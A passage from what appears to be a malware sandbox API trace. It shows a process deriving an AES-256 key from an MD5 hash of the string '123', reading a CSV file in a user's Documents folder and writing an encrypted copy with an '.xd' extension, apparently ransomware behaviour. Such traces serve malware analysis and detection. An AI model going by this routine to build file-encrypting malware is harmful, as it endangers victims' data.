lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.277] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.277] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.277] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.277] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.277] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0070.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.278] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.278] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.278] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.279] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.279] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.279] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.279] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.279] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.279] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.279] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.279] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.280] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.280] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.280] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.280] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.280] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.280] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.280] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.281] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.281] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.281] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.282] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.282] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.282] CryptHashData (hHash=0x164c8b0, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.282] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.282] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.282] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.283] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.283] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.283] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0070.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.283] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.284] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.284] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0070.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.284] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.284] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.284] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.284] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.284] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\egjv4nkog.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.285] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.285] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.285] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\egjv4nkog.csv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.286] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.286] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.286] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.286] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.288] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.288] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0070.300] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x61da, lpOverlapped=0x0) returned 1 [0070.302] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.317] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.318] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.321] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.321] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.321] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.321] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.322] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.322] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.322] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629490, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629490*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.322] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.322] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.323] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.323] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.323] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 